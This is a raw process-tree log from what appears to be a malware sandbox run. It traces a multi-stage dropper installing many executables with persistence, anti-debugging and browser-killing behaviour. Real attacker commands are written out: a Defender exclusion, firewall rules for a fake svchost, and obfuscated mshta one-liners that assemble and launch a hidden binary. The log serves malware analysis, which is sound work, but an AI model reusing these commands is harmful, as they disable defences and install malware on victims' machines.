C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ubx5gnfy.klg\installer.exe /qn CAMPAIGN="654" & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\ubx5gnfy.klg\installer.exeC:\Users\Admin\AppData\Local\Temp\ubx5gnfy.klg\installer.exe /qn CAMPAIGN="654"13⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\malmsts2.j0n\any.exe & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\malmsts2.j0n\any.exeC:\Users\Admin\AppData\Local\Temp\malmsts2.j0n\any.exe13⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ddmah5h5.ezw\gcleaner.exe /mixfive & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\ddmah5h5.ezw\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\ddmah5h5.ezw\gcleaner.exe /mixfive13⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\0maf0ron.5bb\autosubplayer.exe /S & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\0maf0ron.5bb\autosubplayer.exeC:\Users\Admin\AppData\Local\Temp\0maf0ron.5bb\autosubplayer.exe /S13⤵
- Drops file in Program Files directory
-
C:\Users\Admin\Pictures\Adobe Films\jp5R3n8m_n9wLRkCUmggYUNq.exe"C:\Users\Admin\Pictures\Adobe Films\jp5R3n8m_n9wLRkCUmggYUNq.exe"8⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=19⤵
- Adds Run key to start application
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--loGQqfG2tg"10⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST7⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST7⤵
- Creates scheduled task(s)
-
C:\Users\Admin\Pictures\Adobe Films\doDYIKCDOx0uS9LZw6v8NGl2.exe"C:\Users\Admin\Pictures\Adobe Films\doDYIKCDOx0uS9LZw6v8NGl2.exe"6⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\Adobe Films\n4xnIRpTVIvNqK_7n1GqM2jx.exe"C:\Users\Admin\Pictures\Adobe Films\n4xnIRpTVIvNqK_7n1GqM2jx.exe"6⤵
-
C:\Users\Admin\AppData\Local\Temp\build.exe"C:\Users\Admin\AppData\Local\Temp\build.exe"7⤵
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im build.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\build.exe" & del C:\ProgramData\*.dll & exit8⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im build.exe /f9⤵
- Kills process with taskkill
-
C:\Users\Admin\Pictures\Adobe Films\53Yx02ehLMBVuTOgO5ntSsJP.exe"C:\Users\Admin\Pictures\Adobe Films\53Yx02ehLMBVuTOgO5ntSsJP.exe"6⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe7⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe8⤵
- Kills process with taskkill
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Pictures\Adobe Films\SxP_cYcH45f6sogSpRbsIDqw.exe"C:\Users\Admin\Pictures\Adobe Films\SxP_cYcH45f6sogSpRbsIDqw.exe"6⤵
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\Company\NewProduct\inst3.exe"C:\Program Files (x86)\Company\NewProduct\inst3.exe"7⤵
-
C:\Program Files (x86)\Company\NewProduct\DownFlSetup999.exe"C:\Program Files (x86)\Company\NewProduct\DownFlSetup999.exe"7⤵
-
C:\Program Files (x86)\Company\NewProduct\cutm3.exe"C:\Program Files (x86)\Company\NewProduct\cutm3.exe"7⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Pictures\Adobe Films\LiDZU8FScN1fX_g1iprRwSmT.exe"C:\Users\Admin\Pictures\Adobe Films\LiDZU8FScN1fX_g1iprRwSmT.exe"6⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4404 -s 6607⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4404 -s 6727⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4404 -s 7207⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4404 -s 7127⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4404 -s 11887⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Program crash
-
C:\Users\Admin\Pictures\Adobe Films\iIJHRdr_qDYKu_KAJfNOIyWb.exe"C:\Users\Admin\Pictures\Adobe Films\iIJHRdr_qDYKu_KAJfNOIyWb.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\qbiSXx8_ilkIQQsIcrSSh5Ff.exe"C:\Users\Admin\Pictures\Adobe Films\qbiSXx8_ilkIQQsIcrSSh5Ff.exe"6⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Pictures\Adobe Films\qbiSXx8_ilkIQQsIcrSSh5Ff.exe"C:\Users\Admin\Pictures\Adobe Films\qbiSXx8_ilkIQQsIcrSSh5Ff.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\D_dgDTPAylY4Wp9n5LFgPM4H.exe"C:\Users\Admin\Pictures\Adobe Films\D_dgDTPAylY4Wp9n5LFgPM4H.exe"6⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Drops file in Windows directory
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\7⤵
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=in action=allow program="C:\Windows\System\svchost.exe" enable=yes7⤵
-
C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="SvcHostX" dir=out action=allow program="C:\Windows\System\svchost.exe" enable=yes7⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵
-
C:\Users\Admin\Pictures\Adobe Films\JvSShrG5fagZBxPcvKCidbra.exe"C:\Users\Admin\Pictures\Adobe Films\JvSShrG5fagZBxPcvKCidbra.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\JvSShrG5fagZBxPcvKCidbra.exe"C:\Users\Admin\Pictures\Adobe Films\JvSShrG5fagZBxPcvKCidbra.exe"7⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\Pictures\Adobe Films\fm2ODB4gMjT2lyNqTe9F16VO.exe"C:\Users\Admin\Pictures\Adobe Films\fm2ODB4gMjT2lyNqTe9F16VO.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\zKpijVjc9oRP9sIth8Ulgu2g.exe"C:\Users\Admin\Pictures\Adobe Films\zKpijVjc9oRP9sIth8Ulgu2g.exe"6⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Pictures\Adobe Films\zKpijVjc9oRP9sIth8Ulgu2g.exe"C:\Users\Admin\Pictures\Adobe Films\zKpijVjc9oRP9sIth8Ulgu2g.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\rbChbZNEy1aKGA3EwrloPwbg.exe"C:\Users\Admin\Pictures\Adobe Films\rbChbZNEy1aKGA3EwrloPwbg.exe"6⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\Adobe Films\XBtjH6hx064HMcgHncCNepMy.exe"C:\Users\Admin\Pictures\Adobe Films\XBtjH6hx064HMcgHncCNepMy.exe"6⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Pictures\Adobe Films\d2FZ2z1_BMqI4oFuPvkZddN9.exe"C:\Users\Admin\Pictures\Adobe Films\d2FZ2z1_BMqI4oFuPvkZddN9.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\qsDOBXXgnJOhdtXQJcWrtJJ1.exe"C:\Users\Admin\Pictures\Adobe Films\qsDOBXXgnJOhdtXQJcWrtJJ1.exe"6⤵
- Checks whether UAC is enabled
-
C:\Users\Admin\Pictures\Adobe Films\P6hQhhowdu3cIlXEEmAUATb_.exe"C:\Users\Admin\Pictures\Adobe Films\P6hQhhowdu3cIlXEEmAUATb_.exe"6⤵
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\is-ICR0G.tmp\P6hQhhowdu3cIlXEEmAUATb_.tmp"C:\Users\Admin\AppData\Local\Temp\is-ICR0G.tmp\P6hQhhowdu3cIlXEEmAUATb_.tmp" /SL5="$704A0,506127,422400,C:\Users\Admin\Pictures\Adobe Films\P6hQhhowdu3cIlXEEmAUATb_.exe"7⤵
-
C:\Users\Admin\AppData\Local\Temp\is-M36I8.tmp\DYbALA.exe"C:\Users\Admin\AppData\Local\Temp\is-M36I8.tmp\DYbALA.exe" /S /UID=27108⤵
- Drops file in Drivers directory
- Adds Run key to start application
-
C:\Program Files\7-Zip\NFTXQWMQYT\foldershare.exe"C:\Program Files\7-Zip\NFTXQWMQYT\foldershare.exe" /VERYSILENT9⤵
-
C:\Users\Admin\AppData\Local\Temp\f7-fb1c2-821-c27b9-98e74e642cc7e\Lasosharaebe.exe"C:\Users\Admin\AppData\Local\Temp\f7-fb1c2-821-c27b9-98e74e642cc7e\Lasosharaebe.exe"9⤵
- Checks computer location settings
-
C:\Users\Admin\AppData\Local\Temp\ff-ea49b-035-7cba4-7cba5385a45c4\Wishadonazhy.exe"C:\Users\Admin\AppData\Local\Temp\ff-ea49b-035-7cba4-7cba5385a45c4\Wishadonazhy.exe"9⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\zsrjotty.hlq\GcleanerEU.exe /eufive & exit10⤵
-
C:\Users\Admin\AppData\Local\Temp\zsrjotty.hlq\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\zsrjotty.hlq\GcleanerEU.exe /eufive11⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\kjyzobmi.2iu\installer.exe /qn CAMPAIGN="654" & exit10⤵
-
C:\Users\Admin\AppData\Local\Temp\kjyzobmi.2iu\installer.exeC:\Users\Admin\AppData\Local\Temp\kjyzobmi.2iu\installer.exe /qn CAMPAIGN="654"11⤵
- Enumerates connected drives
- Suspicious use of FindShellTrayWindow
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\txfmh5di.rho\any.exe & exit10⤵
-
C:\Users\Admin\AppData\Local\Temp\txfmh5di.rho\any.exeC:\Users\Admin\AppData\Local\Temp\txfmh5di.rho\any.exe11⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vh54trlc.g33\gcleaner.exe /mixfive & exit10⤵
-
C:\Users\Admin\AppData\Local\Temp\vh54trlc.g33\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\vh54trlc.g33\gcleaner.exe /mixfive11⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\da3cdg5r.pru\autosubplayer.exe /S & exit10⤵
-
C:\Users\Admin\AppData\Local\Temp\da3cdg5r.pru\autosubplayer.exeC:\Users\Admin\AppData\Local\Temp\da3cdg5r.pru\autosubplayer.exe /S11⤵
- Drops file in Program Files directory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsd1C11.tmp\tempfile.ps1"12⤵
-
C:\Users\Admin\Pictures\Adobe Films\GnES8DLQ9MNfpPUA1_wwp1Fd.exe"C:\Users\Admin\Pictures\Adobe Films\GnES8DLQ9MNfpPUA1_wwp1Fd.exe"6⤵
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Pictures\Adobe Films\GnES8DLQ9MNfpPUA1_wwp1Fd.exe"C:\Users\Admin\Pictures\Adobe Films\GnES8DLQ9MNfpPUA1_wwp1Fd.exe"7⤵
-
C:\Users\Admin\Pictures\Adobe Films\nZ1_iLZByv44qjLVgQHnKW3O.exe"C:\Users\Admin\Pictures\Adobe Films\nZ1_iLZByv44qjLVgQHnKW3O.exe"6⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=17⤵
- Adds Run key to start application
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--loGQqfG2tg"8⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x26c,0x270,0x274,0x248,0x278,0x7ffbf61edec0,0x7ffbf61eded0,0x7ffbf61edee09⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x134,0x138,0x13c,0xc8,0x140,0x7ff75afb9e70,0x7ff75afb9e80,0x7ff75afb9e9010⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1648,14370260243180963708,7384180632183865087,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8464_594570836" --mojo-platform-channel-handle=1716 /prefetch:89⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1648,14370260243180963708,7384180632183865087,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8464_594570836" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1668 /prefetch:29⤵
-
C:\Users\Admin\Pictures\Adobe Films\6VgH_qbgRMHDrOxjFfjZzO6F.exe"C:\Users\Admin\Pictures\Adobe Films\6VgH_qbgRMHDrOxjFfjZzO6F.exe"6⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBsCRIPt:cLose ( creAteObjecT ("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\Pictures\Adobe Films\6VgH_qbgRMHDrOxjFfjZzO6F.exe"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If """"== """" for %K iN ( ""C:\Users\Admin\Pictures\Adobe Films\6VgH_qbgRMHDrOxjFfjZzO6F.exe"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )7⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\Pictures\Adobe Films\6VgH_qbgRMHDrOxjFfjZzO6F.exe" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If ""== "" for %K iN ( "C:\Users\Admin\Pictures\Adobe Films\6VgH_qbgRMHDrOxjFfjZzO6F.exe" ) do taskkill -im "%~NxK" -F8⤵
-
C:\Users\Admin\AppData\Local\Temp\8pWB.eXE8pWB.eXe /pO_wtib1KE0hzl7U9_CYP9⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VBsCRIPt:cLose ( creAteObjecT ("WScRipT.SHElL" ). RuN ( "CMd /r CopY /y ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP & If ""/pO_wtib1KE0hzl7U9_CYP ""== """" for %K iN ( ""C:\Users\Admin\AppData\Local\Temp\8pWB.eXE"" ) do taskkill -im ""%~NxK"" -F " ,0, trUE ) )10⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /r CopY /y "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" 8pWB.eXE&& sTaRT 8pWB.eXe /pO_wtib1KE0hzl7U9_CYP &If "/pO_wtib1KE0hzl7U9_CYP "== "" for %K iN ( "C:\Users\Admin\AppData\Local\Temp\8pWB.eXE" ) do taskkill -im "%~NxK" -F11⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" VbScRIpT: close (crEaTEOBject ( "WSCRIPt.SheLl" ). rUn ( "C:\Windows\system32\cmd.exe /c EcHO | seT /p = ""MZ"" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 + HxU0.m + HR0NM.yl + _AECH.7 + ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY " , 0 , TruE ) )10⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c EcHO | seT /p = "MZ" > 1AQCPNL9.1 &CoPy /b /Y 1AqCPnL9.1 + HxU0.m + HR0NM.yl + _AECH.7 + ThBtZ22Y.U +1MRAv8.M + QZ5UW.aQ+ KKAyEq.00 N3V4H8H.sXy & STARt msiexec.exe -y .\N3V4H8H.SXY11⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" EcHO "12⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" seT /p = "MZ" 1>1AQCPNL9.1"12⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -im "6VgH_qbgRMHDrOxjFfjZzO6F.exe" -F9⤵
- Kills process with taskkill
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\Pictures\Adobe Films\J2KpzjddeKqYJcjSNAVpEgdI.exe"C:\Users\Admin\Pictures\Adobe Films\J2KpzjddeKqYJcjSNAVpEgdI.exe"6⤵
-
C:\Users\Admin\AppData\Roaming\1642250.exe"C:\Users\Admin\AppData\Roaming\1642250.exe"7⤵
-
C:\Users\Admin\AppData\Roaming\495517.exe"C:\Users\Admin\AppData\Roaming\495517.exe"7⤵
-
C:\Users\Admin\AppData\Roaming\1064453.exe"C:\Users\Admin\AppData\Roaming\1064453.exe"7⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Roaming\320223.exe"C:\Users\Admin\AppData\Roaming\320223.exe"7⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\AppData\Roaming\8996774.exe"C:\Users\Admin\AppData\Roaming\8996774.exe"7⤵
- Suspicious behavior: SetClipboardViewer
-
C:\Users\Admin\AppData\Roaming\4457247.exe"C:\Users\Admin\AppData\Roaming\4457247.exe"7⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV18⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Fri05b5df5106928d62.exe4⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS4D926C2D\Fri05b5df5106928d62.exeFri05b5df5106928d62.exe5⤵
-
C:\Users\Admin\Pictures\Adobe Films\fRRGoM4jYW69sCtQNYIAn7cF.exe"C:\Users\Admin\Pictures\Adobe Films\fRRGoM4jYW69sCtQNYIAn7cF.exe"6⤵
-
C:\Users\Admin\Pictures\Adobe Films\0JDkop1rq8WrydrosGdit8HG.exe"C:\Users\Admin\Pictures\Adobe Films\0JDkop1rq8WrydrosGdit8HG.exe"6⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Pictures\Adobe Films\OkAFugnjkmOPG6DOiDyk23rd.exe"C:\Users\Admin\Pictures\Adobe Films\OkAFugnjkmOPG6DOiDyk23rd.exe"6⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST7⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST7⤵
- Creates scheduled task(s)
-
C:\Users\Admin\Documents\UNGpstHaNPvlZk7coLZ2vEv4.exe"C:\Users\Admin\Documents\UNGpstHaNPvlZk7coLZ2vEv4.exe"7⤵
- Checks computer location settings
-
C:\Users\Admin\Pictures\Adobe Films\YwQ_h6GRrRr15qZ3IjGJD6q_.exe"C:\Users\Admin\Pictures\Adobe Films\YwQ_h6GRrRr15qZ3IjGJD6q_.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\x4_w_EzSfYcLd85gbcpGJKc0.exe"C:\Users\Admin\Pictures\Adobe Films\x4_w_EzSfYcLd85gbcpGJKc0.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\Qlk7zHgWV7kTMNIY2swcqSWy.exe"C:\Users\Admin\Pictures\Adobe Films\Qlk7zHgWV7kTMNIY2swcqSWy.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\OLyk5ObpSSY4AWcuHNU2n03b.exe"C:\Users\Admin\Pictures\Adobe Films\OLyk5ObpSSY4AWcuHNU2n03b.exe" /mixtwo8⤵
-
C:\Users\Admin\Pictures\Adobe Films\40RWTucVOfM6TbENIfACH0tI.exe"C:\Users\Admin\Pictures\Adobe Films\40RWTucVOfM6TbENIfACH0tI.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\eD7YZbYrfJL08xmDpwkeHUr6.exe"C:\Users\Admin\Pictures\Adobe Films\eD7YZbYrfJL08xmDpwkeHUr6.exe"8⤵
-
C:\Users\Admin\Pictures\Adobe Films\dXaBODviq4cnDAJJkMhyYo_t.exe"C:\Users\Admin\Pictures\Adobe Films\dXaBODviq4cnDAJJkMhyYo_t.exe"8⤵
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ). Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\dXaBODviq4cnDAJJkMhyYo_t.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If """" == """" for %M in ( ""C:\Users\Admin\Pictures\Adobe Films\dXaBODviq4cnDAJJkMhyYo_t.exe"" ) do taskkill -f -iM ""%~NxM"" " , 0 , truE ) )9⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\dXaBODviq4cnDAJJkMhyYo_t.exe" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi & If "" == "" for %M in ( "C:\Users\Admin\Pictures\Adobe Films\dXaBODviq4cnDAJJkMhyYo_t.exe" ) do taskkill -f -iM "%~NxM"10⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "dXaBODviq4cnDAJJkMhyYo_t.exe"11⤵
- Kills process with taskkill
-
C:\Users\Admin\Pictures\Adobe Films\hyuZkS7iiTV3PLsnLpJOMWCl.exe"C:\Users\Admin\Pictures\Adobe Films\hyuZkS7iiTV3PLsnLpJOMWCl.exe"8⤵
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=19⤵
- Adds Run key to start application
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--loGQqfG2tg"10⤵
-
C:\Users\Admin\Pictures\Adobe Films\Ly68t4TERNaCrvkO0r_QgUuZ.exe"C:\Users\Admin\Pictures\Adobe Films\Ly68t4TERNaCrvkO0r_QgUuZ.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\is-ACP4L.tmp\Ly68t4TERNaCrvkO0r_QgUuZ.tmp"C:\Users\Admin\AppData\Local\Temp\is-ACP4L.tmp\Ly68t4TERNaCrvkO0r_QgUuZ.tmp" /SL5="$108CC,506127,422400,C:\Users\Admin\Pictures\Adobe Films\Ly68t4TERNaCrvkO0r_QgUuZ.exe"9⤵
-
C:\Users\Admin\AppData\Local\Temp\is-9B1SN.tmp\DYbALA.exe"C:\Users\Admin\AppData\Local\Temp\is-9B1SN.tmp\DYbALA.exe" /S /UID=270910⤵
- Drops file in Drivers directory
-
C:\Users\Admin\AppData\Local\Temp\93-04a69-282-e6fac-00e1e5ff02827\Waefixaeshakae.exe"C:\Users\Admin\AppData\Local\Temp\93-04a69-282-e6fac-00e1e5ff02827\Waefixaeshakae.exe"11⤵
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\uiinjwsh.wvo\GcleanerEU.exe /eufive & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\uiinjwsh.wvo\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\uiinjwsh.wvo\GcleanerEU.exe /eufive13⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\kusq5ved.uoe\installer.exe /qn CAMPAIGN="654" & exit12⤵
- Blocklisted process makes network request
-
C:\Users\Admin\AppData\Local\Temp\kusq5ved.uoe\installer.exeC:\Users\Admin\AppData\Local\Temp\kusq5ved.uoe\installer.exe /qn CAMPAIGN="654"13⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\cjgc4a1d.034\any.exe & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\cjgc4a1d.034\any.exeC:\Users\Admin\AppData\Local\Temp\cjgc4a1d.034\any.exe13⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\cyjtqok1.csh\gcleaner.exe /mixfive & exit12⤵
-
C:\Users\Admin\AppData\Local\Temp\cyjtqok1.csh\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\cyjtqok1.csh\gcleaner.exe /mixfive13⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\x1u0l1fb.kga\autosubplayer.exe /S & exit12⤵
-
